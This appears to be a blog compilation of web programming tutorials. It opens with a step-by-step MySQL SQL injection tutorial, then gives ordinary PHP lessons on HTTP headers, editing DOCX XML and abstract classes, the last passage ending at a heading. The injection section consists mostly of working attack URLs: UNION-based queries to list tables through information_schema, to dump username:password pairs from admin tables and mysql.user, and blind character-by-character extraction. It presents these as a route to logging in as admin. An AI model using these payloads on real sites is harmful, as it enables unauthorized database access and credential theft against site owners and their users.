Full SQL Injection Tutorial (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?

It’s one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc…(in shortly).

1.SQL Injection (classic or error based or whatever you call it) 😀

2.Blind SQL Injection (the harder part)

So let’s start with some action 😀

1). Check for vulnerability

Let’s say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ‘ (quote),

and that would be http://www.site.com/news.php?id=5’

so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar

that means is vulrnable to sql injection 🙂

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <– no error

http://www.site.com/news.php?id=5 order by 2/* <– no error

http://www.site.com/news.php?id=5 order by 3/* <– no error

http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this Unknown column ‘4’ in ‘order clause’ or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works 🙂

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try —
it’s a comment and it’s important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

i didn’t see any paper covering this problem, so i must write it 🙂

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version 😀

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s …

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good :D)

we know that table admin exists…

now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc…

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 🙂

i.e md5 hash, mysql hash, sha1…

now we must complete query to look nice 🙂

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser 😀

if can’t guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc… 😀

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc… 😀

if you wanna display column names for specific table use this query. (where clause)

let’s say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won’t work if the magic quotes is ON.

let’s say that we found colums user, pass and email.

now to complete query to put them all together 😀

for that we use concat() , i decribe it earlier.

i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com

That’s all in this part, now we can proceed on harder part 🙂

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done 😀

I must mention, there is very good blind sql injection tutorial by xprog, so it’s not bad to read it 😀

Let’s start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc…

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <— this is always true

and the page loads normally, that’s ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 <— this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don’t work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend 🙂

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one 🙂

let’s say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’.

then let’s check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i’m doing everything manually,cause that makes you better SQL INJECTOR 😀

Hope you learned something from this paper.
Have FUN! (:

Advertisements

HTTP Headers and the PHP header() Function

Introduction

Many beginning and intermediate PHP programmers seem to think the header() function
is some kind of strange voodoo. They work from examples and code snippets and are able to get things done with it,
but they don’t know quite how it works. That was certainly the
way I regarded header() the first time I saw it.

In reality, it’s quite simple. In this tutorial, I’ll explain a little about how HTTP headers work, how they relate to PHP,
and a little about their meta tag equivalents.

Hopefully by the time you’re done reading this, you’ll feel more confident about how to
use the header() function, and even have some new ideas about how it can help you. We’ll also cover some other important
topics related to HTTP headers and PHP. Before we talk about any programming
at all, though, we need to quickly (and incompletely) go over how HTTP (HyperText Transfer Protocol) works in general.

HTTP Overview

Headers: words in a conversation

HTTP is the protocol (the set of ‘rules’) for transferring
data (e.g. HTML in web pages, pictures, files) between web servers and
client browsers, and usually takes place on port 80.
This is where the ‘http://‘ in website URLs comes from.

The first time most people make a web page, they write the HTML on their computer, view it locally in a browser,
upload it to their server, and view it on the web. It might seem like viewing a page locally and viewing it on the server
is exactly the same, and that the only data going back and forth between the server and the
browser is the HTML and any images included in the page. But there is actually a lot of other information that you do not
see when you view a file on the web — the headers.

Headers can be separated into two broad types: Request headers that your browser sends to the server when you request a file, and
Response headers that the server sends to the browser when it serves the file. Think of these headers as the words in a
conversation taking place between the browser and the server. I like to imagine the server as a librarian, and the browser as a
researcher asking for a library resource. The browser walks up to the server at the main desk (port 80) and says
something like, “Hi, my name
is Mozilla, and I’m looking for the resource with the call number ‘www.expertsrt.com’. Can you get it for me?” The server listens, and responds “Yes, I found it, let me send it to you. The data in the item is HTML text, and it says ‘<html>…'” The browser reads through, and comes to an image tag, and asks the server for item with the location in the src attribute. The server looks, finds the file and says “This file is a PNG image, and the data is….” You get the idea.

Another conversation might go like this:

Browser: Hi, I’m Mozilla, can I have the file at ‘www.expertsrt.com/moved.html’?
Server: That file is no longer there, it is at ‘www.expertsrt.com/newloc.html’.
Browser: Hi, I’m Mozilla, can I have the file at ‘www.expertsrt.com/newloc.html’?
Server: I found the file. Look at it for 10 seconds and then ask me again. It’s HTML text and it reads….
…10 seconds…
Browser:> Hi, I’m Mozilla, can I have the file at ‘www.expertsrt.com/newloc.html’?
Server: I found the file. Look at it for 10 seconds and then ask me again. It’s HTML text and it reads….
…10 seconds…
Browser: Hi, I’m Mozilla, can I have the file at ‘www.expertsrt.com/newloc.html’?
Server: I found the file. Look at it for 10 seconds and then ask me again. It’s HTML text and it reads….
….and so on, until the browser is redirected by the user….

As you can see, there is a lot going on that headers control. Using the header() function, you can make the
server send any headers that you need want, which allows you to do some really cool things beyond just sending plain old HTML.

Seeing the whole conversation

Before moving ahead, let’s get a better idea of how HTTP headers work by viewing a webpage without a browser, so we can
see the converation in is entirety. Start by opening a command prompt (in windows, go to Start->Run, type cmd, and click “OK”…if you’re using linux you probably already know). At the prompt, type:

telnet expertsrt.com 80

and press Enter. This will connect you to expertsrt.com on port 80. Next, copy and paste just the text below:

GET / HTTP/1.1
Host: expertsrt.com

Don’t worry if when
you type or paste the text, it does not show up in your command window and all you see is the cursor — it is indeed being sent to the server. The first line says you are using the GET request method to get the resource /
(i.e. the file in the base directory of the host), and that you are using HTTP version 1.1. The second tells the server which host
you want to connect to. When you finish typing ‘expertsrt.com’, hit Enter twice (and twice only). You should almost immediately get a response that looks like:

HTTP/1.1 301 Moved Permanently
Date: Wed, 08 Feb 2006 07:44:07 GMT
Server: Apache/2.0.54 (Debian GNU/Linux) mod_auth_pgsql/2.0.2b1 mod_ssl/2.0.54 OpenSSL/0.9.7e
Location: http://www.expertsrt.com/
Content-Length: 233
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.expertsrt.com/">here</a>.</p>
</body></html>

Whoops! Looks like we requested a resource that wasn’t there; it’s been permanently moved to the new Location
http://www.expertsrt.com. If you were using a browser, you’d only see the HTML — everything before the first blank
line is the headers. In fact, modern browsers are even smarter than that — when they see the Location header on the
third line, they automatically go there so you don’t have to type in a new URL. Let’s go to the new URL. By this point, you
probably got disconnected while you were reading this. If so, just press your up arrow on the keyboard to get your telnet command back, and press enter to reconnect. If you’re still connected, you can just go ahead and type the following:

GET / HTTP/1.1
Host: www.expertsrt.com

and press Enter twice after the second line. You’ll get another similar response telling you that the page is actually at
http://www.expertsrt.com/index.php. The server is particular, isn’t it? 😉 Repeat the above, but this time type

GET /index.php HTTP/1.1
Host: www.expertsrt.com

Notice that the name of the file we want is in the first line. This time we get flooded with text: the HTML from ERT’s homepage.
The headers look like

HTTP/1.1 200 OK
Date: Wed, 08 Feb 2006 08:20:07 GMT
Server: Apache/2.0.54 (Debian GNU/Linux) mod_auth_pgsql/2.0.2b1 mod_ssl/2.0.54 OpenSSL/0.9.7e
X-Powered-By: PHP/4.4.0
Transfer-Encoding: chunked
Content-Type: text/html

Simple, no?. Let’s move forward and see how this relates to your programming.
Don’t worry if you didn’t understand every single thing
that we just did. The important thing is to have a general feel for how the browser and server talk to each other,
and to realize that there is nothing magic about it. The take home points are:

  • The browser and the server talk to each other using headers
  • Headers are sent before the main content, and are separated from the main content by a a
    double-CRLF/newline.
  • In the header section, there is one header per line. The name of the header comes first, followed by a colon and a space, followed by the content/value of the header:
    Header-Name: header-value
  • Headers can contain many types of information and instructions that the server and browser use to help each other know
    what to do next

Note: If you’re the type who likes to really dig into the details, you can look at
RFC 2616 for the complete HTTP/1.1 specification in all its glory.
In particular, Section 14 offers a complete
definition for each header field.

PHP header(): The Basics

Notice the response headers X-Powered-By: PHP/4.4.0 and Content-Type: text/html that were
returned when we
finally got to the homepage. PHP was designed from the beginning to output HTML (the ‘H’ in PHP stands for ‘Hypertext’), and
the first time a script generates output (e.g. by using echo), PHP automatically includes those headers for you. This is
very convenient, but also contributes to the confusion many PHP beginners have regarding headers — in more ‘bare bones’
languages like Perl that were not originally designed for the web, sending output without including your own headers produces
the dreaded ‘500 Internal Server Error’, so Perl web
programmers have no choice but to learn about headers immediately.

The header() function sends HTTP response headers; nothing
more, nothing less.


Using this function, you can make your scripts send
headers of your choosing to the browser, and create some very useful and dynamic results. However, the first thing you need to know about the
header() function is that you have to use it before PHP has sent any output (and therefore its default headers).

I doubt there is a PHP programmer in the world who has never seen an error that looks like

Warning: Cannot modify header information – headers already sent by…..

As we said above, the response headers are separated from the content by a blank line. This means you can only send them once, and if
your script has any output (even a blank line or space before your opening <?php tag), PHP does so without asking
you. For example, consider the script below, which seems logical enough:


Welcome to my website!<br />

<?php

  
if($test){

   echo 
"You're in!";

  }

  else{

    
header('Location: http://www.mysite.com/someotherpage.php');

  }

?>

What this script is trying to do is redirect the visitor using the Location header if
$test is not true. Do you see the problem? The ‘Welcome…’ text gets sent no matter what, so the headers are
automatically sent. By the time header() is called, it’s already too late: instead of getting redirected,
the user will just see an error message (or if you have error reporting off, nothing but the ‘Welcome…’ text).

There are basically two solutions to this. The first is to rewrite the code


<?php

  
if($test){

   echo 
'Welcome to my website<br />You're in!';

  }

  else{

    
header('Location: http://www.mysite.com/someotherpage.php');

  }

?>

The second is output buffering, which can be somewhat more elegant and easy to use.
In our example above, rewriting the code wasn’t much trouble, but imagine if there had been quite a bit of
HTML to move around — it could be pretty cumbersome, and it might make our code harder to follow. While our first example caused an error, the logic of the program was fine. Output buffering allows you
to hold on to (‘buffer’) output (even HTML outside of PHP code tags) and send it to the browser only when you explicitly say to do
so. This way you can program however you would like to, and explicitly send the output after you’ve specified any headers you need to. The two relevant functiosns are
ob_start(), which turns output buffering on, and
ob_flush(), which sends the content that has accumulated
in the buffer:


<?php 

 ob_start
();  //begin buffering the output 

?>

Welcome to my website!

<?php

  if(true){

   echo 
"You're in!";

  }

  else{

    
header('Location: http://www.mysite.com/someotherpage.php');

  }

  ob_flush(); //output the data in the buffer

?>

I encourage you to read more about all of the output buffering functions, which can be quite useful. You should flush the output
buffer as soon as possible, especially if you have quite a bit of content to send. Otherwise, your page will appear to load
slower, becuase the content will be sent only after it has been entirely assembled, rather than as it is available.

Note: The 2nd argument If you call header() more than once for the same header field, the value for that header will
be the one included in the last call you made. For example,


<?php

header
('Some-Header: Value-1');

header('Some-Header: Value-2');

?>

would produce the header Some-Header: Value-2. You can cause both headers to be sent by using the second replace argument
for header, which is true by default. If you set this to false, the second header value will not replace the first,
and both will be sent. So the code


<?php

header
('Some-Header: Value-1');

header('Some-Header: Value-2'false); //don't replace the first value

?> 

will produce the header Some-Header: Value-1, Value-2. You will rarely need this, but is good to know.

Armed with a good understanding of how HTTP headers and PHP work together, let’s look at some specific examples of using this
functionality.

PHP header(): Some Examples

Note: The code snippets appearing below are just that: snippets from
complete working code. When you you include them in your own programs, remember to define all your variables,
assign default values, and adhere to other good programming practices.

Redirecting with the Location header

We’ve seen this one a couple times above: it redirects the browser.


<?php

header
('Location: http/www.mysite.com/new_location.html');

?>

While you can somtimes get away with supplying a relative URL for the value, according to the HTTP specification, you should
really use an absolute URL.

One mistake that is easy to make with the Location header is not calling
exit directly afterwards (you may not always want to do
this, but usually you do). The reason this is a mistake is that the PHP code of the page continues to execute even though the user
has gone to a new location. In the best case, this uses system resources unnecessarily. In the worst case, you may perform tasks that
you never meant to. Consider the code below:


<?php 

//Redirect users with access level below 4

if (check_access_level($username) < 4){

  header('Location: http://www.mysite.com/someotherpage.php');

}

//Mail users with higher access level the secret code

mail_secret_code($username);

echo 'The secret email is on its way!';

?>

Unauthorized users are indeed redirected, but in fact, they too will receive the email, because the script continues to run.
To avoid this, the part for authorized users could be wrapped in an else{} statement, but it is cleaner and easier
to call exit immediately after the header command to end the execution of the script:


<?php 

//Redirect users with access level below 4

if (check_access_level($username) < 4){

  header('Location: http://www.mysite.com/someotherpage.php');

  exit; 
//stop script execution

}

//Mail users with higher access level the secret code

mail_secret_code($username);

echo 
'The secret email is on its way!';

?>

Redirecting with the Refresh header

The Refresh redirects users like the Location header does, but you can add a delay before the user
is redirected. For example, the following code would redirect the user to a new page after displaying the current one for 10
seconds:


<?php 

header
('Refresh: 10; url=http://www.mysite.com/otherpage.php');

echo 
'You will be redirected in 10 seconds';

?>

Another common application is to force a page to update repeatedly by ‘redirecting’ to the current page (see the second
‘conversation’ above). For example, here is a simple page that will ‘count’ down from 10, with a 3 second
pause between numbers:


<?php 

if(!isset($_GET['n'])){

    
$_GET['n'] = 10;

}

if($_GET['n'] > 0){

  
header('Refresh: 3; url=' $_SERVER['PHP_SELF'].'?n=' . ($_GET['n']-1)  );

  echo $_GET['n'];

}

else{

  echo 
'BLAST OFF!';

}

?>

Note: If the refresh time is set to 0, then the Refresh header is
effectively the same as the Location header.

Serving different types of files and generating dynamic content using the Content-Type header

The Content-Type header tells the browser what type of data the server is about to send. Using this header, you can
have your PHP scripts output anything from plain text files to images or zip files. The table below lists frequently-used
MIME types:

You can do several interesting things with this. For example, perhaps you want to send the user a pre-formatted text file
rather than HTML:


<?php 

header
('Content-Type: text/plain');

echo 
$plain_text_content;

?>

Or perhaps you’d like to prompt the user to download the file, rather than viewing it in the browser. With the help of the
Content-Disposition header, it’s easy to do, and you can even suggest a file name for the user to use:


<?php 

header
('Content-Type: application/octet-stream');

header('Content-Disposition: attachment; '

       
.'filename="plain_text_file.txt"');

echo 
$plain_text_content;

?>

Maybe you need to serve a file for download, but you’d like to obscure its true location and name, and only serve it to users
who are logged in:


<?php 

if($b_is_logged_in){

   
header('Content-Type: application/octet-stream');

   
header('Content-Disposition: attachment; ' 

           .'filename="'.$different_filename.'"');

   
readfile('/path/to/files/' $filename);

}

else{

   echo 
'You are not authorized to view this file';

}

?>

Perhaps you’ve dynamically generated an image using PHP’s image functions and you want to display it to the user. You could create a file build_image.php like this

Common MIME types
Type Description
text/html HTML (PHP default)
text/plain Plain Text
image/gif GIF Image
image/jpeg JPEG Image
image/png PNG Image
video/mpeg MPEG Video
audio/wav WAV Audio
audio/mpeg MP3 Audio
video/mov
video/quicktime
Quicktime Video
video/x-ms-wmv Windows WMV video
audio/x-ms-wma Windows WMA audio
audio/x-realaudio RealPlayer Audio/Video (.rm)
audio/x-pn-realaudio RealPlayer Audio/Video (.ram)
video/x-msvideo
video/avi
AVI Video
application/pdf PDF Document
application/msword MS Word .doc file
application/zip Zip File
application/octet-stream Misc. data. Use to force download or open with application.*
x-foo/x-bar Misc. data. Use to force download ot open with application.*

<?php 

   
//build the image above

   
header('Content-Type: image/jpeg');

   
imagejpeg($image_resouce);

?>


Note: Beware of magic_quotes!
PHP’s automatic escaping of special characters with a backslash may seem like a good idea at first, but most good programmers
generally agree that it (a) encourages sloppy programming that does not validate input and (b) causes
annoyances in well-written code that would not occur if “magic quoting” were turned off. One such annoyance is
the corruption of binary data. In the example above, if
magic_quotes_runtime
is on, the data that readfile() outputs may have backslashes added to it, thus
corrupting the file that is sent to the user. Ideally, you should turn magic_quotes_runtime off in your
php.ini file to avoid this, but if you do not have access to the configuration file, you can also use the
set_magic_quotes_runtime() function
(pass is the 0 (zero) integer) to turn the setting off.

Happily, the minutes of a recent
PHP Developer meeting show that they have decided to abandon magic quotes in future versions (6+) of PHP. Until
everyone upgrades, however, keeping the problems this feature can cause in mind can save you quite a bit of
trouble and frustration.

You might pass the parameters necessary to generate the image via the URL so you can access them in the $_GET array.
Then in another page, you might include this image using an img tag:


<img src="build_image.php<?php echo "?$user_id&amp;$caption"?>">

The possibilities are more or less endless. The more PHP programming you do, the more you will find that the Content-Type
header truly is your friend.

Note: The way that browser are supposed to handle content of various MIME types, and the way they actually do
may not always be consistent (especially with Internet Explorer), so you’re well-advised to test your pages in the browsers
you need to support to make sure they behave as expected. The PHP Manual has many helpful tips in the
user-contributed
comments
on the header() page.

Preventing Page Caching

PHP pages often generate very dynamic content, and to prevent users from missing updates by viewing cached pages, it is
often helpful to be able to tell browsers not to cache certain pages. The following snippet works quite well on the
browsers that are likely to visit your site:


<?php

header
('Cache-Control: no-cache, no-store, must-revalidate'); //HTTP/1.1

header('Expires: Sun, 01 Jul 2005 00:00:00 GMT');

header('Pragma: no-cache'); //HTTP/1.0

?> 

The Expires header can be any date in the past. As with MIME types, browsers (especially older ones) may not
always listen properly to your caching instructions (although most modern ones will).

Other Applications

There are other ways you can use headers as well, such as setting the
HTTP Response Code, or in performing
HTTP Authentication (if you are running PHP as an Apache module).
Now that you understand how header() works and how to use it, you’ll be able to do all sorts of things you
might not have thought of before.

Request Headers in PHP

We’ve covered some of the things you can do with response headers above. We can also get a great deal of information
from the request headers received by the server from the browser. There are two ways to access these. First, many of the
values in the $_SERVER array are determined from the
request headers. Second, if PHP is installed as an Apache module, then
apache_request_headers() will return an
array of all request headers (even those not in $_SERVER).

Security first: don’t trust request headers

Since request headers are set by the browser, which is controlled by the client, you must never trust request
headers for information that is important to the security of your site
. A good example is the
$_SERVER['HTTP_REFERER'] variable, which should hold the URL of the page that referred the
user to the current one. A common mistake among beginners is to think that they can use this to make sure
that users only access pages through a certain path, and that they therefore do not need to
worry about server side data validation. For example,
consider this code, which attempts to make sure that data has been submitted from a specific page, rather
than a custom form on another website:


<?php

 
if($_SERVER['HTTP_REFERER'] != 'http://www.mysite.com/myform.html'){

   
header('Refresh: 5; url=http://www.mysite.com/myform.html');

   echo 
'You must use the form on my site...redirecting now.';

 }

 else{

   insert_data($_POST['var1'], $_POST['var2']);

 }

?> 

This might work to deter an unsophisticated hacker who is using his web browser to submit data through a custom form, but someone
who is a little more savvy could easily submit data via a telnet session like we did above, including the request header

and easily defeat this ‘protection’. The moral of the story is: use HTTP request headers to gather statistics and to help make
the user experience more pleasant — most request headers you receive will be supplied by standard browsers and will be
entirely truthful…But do not rely on request headers for any issues pertaining to security.

Using HTTP request headers

There are several things you can do with these. Using $_SERVER['HTTP_USER_AGENT'] you can detect the type of browser
the user says it has. You might check the $_SERVER['HTTP_ACCEPT_LANGUAGE'] (perhaps along with $_SERVER['HTTP_ACCEPT_CHARSET'] and some
IP address geolocation) to help determine the
best language in which to serve your pages to a given user.
Although $_SERVER['HTTP_REFERER'] is not reliable for security
purposes, it could be useful as an aid for building statistics about your website traffic or customizing content to
match the path the user took to reach a given page. If for some reason you want to manipulate the raw query string used when
the page was accessed, you can look in $_SERVER['QUERY_STRING']. Looking in $_SERVER['REQUEST_METHOD'] will
tell you whether your page was accessed via GET or POST. There’s quite a bit of information there for
you to find creative uses for.

HTML Meta Tag HTTP Header Equivalents

Chances are, before reading this article, you have seen or used the HTML meta tag below to redirect a user:

<meta http-equiv="refresh" content="0;http://www.mysite.com/somepage.html" />

Look familiar? The ‘http-equiv’ meta tags are ‘equivalent’ to HTTP response headers, and were introduced so that people
writing HTML pages without server side programming would have access to the powerful functionality described above. Using these
meta tags is simple: they can be placed anywhere in the <head> of the document, and their http-equiv
attribute contains the header name, while the content attribute contains the value for the header.

I’ve found that these, like the HTTP headers in general, often produce confusion, but now they should seem quite simple to you.
Although I usually prefer to use the PHP header() function, these meta tag HTTP header equivalents are often very handy
for things like specifying the character set. For example, I often use this is my HTML pages (and sometimes my PHP ones):

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
Note: Support for HTTP headers as equivalet meta tags is not uniformally supported, so it is usually safer and
faster to use the headers themselves if you can. Also, it should be obvious that some headers and values will not work as meta
equivalents: you cannot set the Content-Type to image/png when the real headers have been sent and the
browser is already reading the HTML 😉

Conclusion

Now that you are done with this article, you should have a pretty firm grasp of how HTTP works, how request and response headers
are used, and how you can employ this functionality in your programming. This reasonably detailed knowledge should also enable
you to start thinking more critically about your web application efficiency and security. I hope that as you move forward with your
programming, you will find that you’ve become quite comfortable working with HTTP headers, and that you are able to exploit them to
make your job easier and your pages better.

As a parting thought, remember that headers are like words: they convey information and ask for certain actions to be performed,
but by themselves they don’t force anything to happen. 99.9% of the time, cooperative browsers are talking to cooperative servers,
and everything happens smoothly. But you have to remember that, as in life, every once in a while you’ll run across a jerk
(a hacker), or someone who’s got his own way of doing things (Internet Explorer). Web development is very much a job of customer
service, so you’ve got to do your best to keep the crooks out, and accomodate the customers with ‘special needs.’ 😉

Zipped DOCX XML parse and delete commented block

$filename = ‘demo_ms_word.docx’;
$ext = end(explode(‘.’, $filename));
//if its docx file
if($ext == ‘docx’)
{
$dataFile = “word/document.xml”;
}
else
{
die(‘Wrong File’);
}

//Create a new ZIP archive object
$zip = new ZipArchive;

// Open the archive file
if (true === $zip->open($filename)) {
// If successful, search for the data file in the archive
if (($index = $zip->locateName($dataFile)) !== false) {
// Index found! Now read it to a string
$text = $zip->getFromIndex($index);

$document = new DOMDocument();
$document->loadXML($text);
$xpath = new DOMXPath($document);

// Find the DIV with ID “some-div”.
$remove_elements = array();
$notfoundOnSameNode = true;

//From Condition Query found what elemenet need to delete
$tagToDelete = ‘tbl’;

$node = $xpath->query(‘//w:’.$tagToDelete.'[descendant::w:commentRangeStart[@w:id=”2″]]’)->item(0);
$remove_elements[] = $node;

if($node->getElementsByTagName(‘w:commentRangeEnd’))
{
$notfoundOnSameNode = false;
}

if($notfoundOnSameNode)
{
while ($node = $node->nextSibling) {
$remove_elements[] = $node;
//echo $node->nodeName;
//echo $node->nodeValue;
// Skip stuff like “#text” elements which cause problems.
if($node->getElementsByTagName(‘w:commentRangeEnd’))
{
break;
}
continue;
}
}

//Delete all remove elmenets from docx
foreach ($remove_elements as $element) {
$element->parentNode->removeChild($element);
}

$final_xml = $document->saveXML();

$zip->deleteName($dataFile);
//Write the new…
$zip->addFromString($dataFile, $final_xml);
}
//Close the archive file
$zip->close();
}

Abstract Classes and Interface in PHP

Abstract class and Interface in php play very important role in oop. In this section we will discuss following point

  1. What is abstract classes.
  2. What is interface
  3. How to implement abstract classes in php
  4. How to implement interface in php
  5. Different between abstract classes and interface.

What is abstract Classes

As from name it seem like something that is hidden. Yes nature of the abstract classes are same. Abstract classes are those classes which can not be directly initialized. Or in other word we can say that you can not create object of abstract classes. Abstract classes always created for inheritance purpose. You can only inherit abstract class in your child class. Lots of people say that in abstract class at least your one method should be abstract. Abstract method are the method which is only defined but declared. This is not true definition as per my assumption. But your any class has at least one method abstract than your class is abstract class.

Usually abstract class are also known as base class. We call it base class because abstract class are not the class which is available directly for creating object. It can only act as parent class of any normal class. You can use abstract class in class hierarchy. Mean one abstract class can inherit another abstract class also.

Abstract classes in PHP

Abstract classes in php are simillar like other oop languages. You can create abstract classes in php using abstract keyword. Once you will make any class abstract in php you can not create object of that class.
abstract class abc
{
public function xyz()
{
return 1;
}
}
$a = new abc();//this will throw error in php

above code will throw error in php.

Abstract classes in php are only for inheriting in other class.
abstract class testParent
{
public function abc()
{
//body of your funciton
}
}
class testChild extends testParent
{
public function xyz()
{
//body of your function
}
}
$a = new testChild();

In above example you are creating of testChild Class. TestChild class is inheriting testParent abstract class. So your abstract class is only available for inheritance. Main motive of creating abstract classes in php is to apply restriction of direct initialization or object creation.

Implementation of abstract method

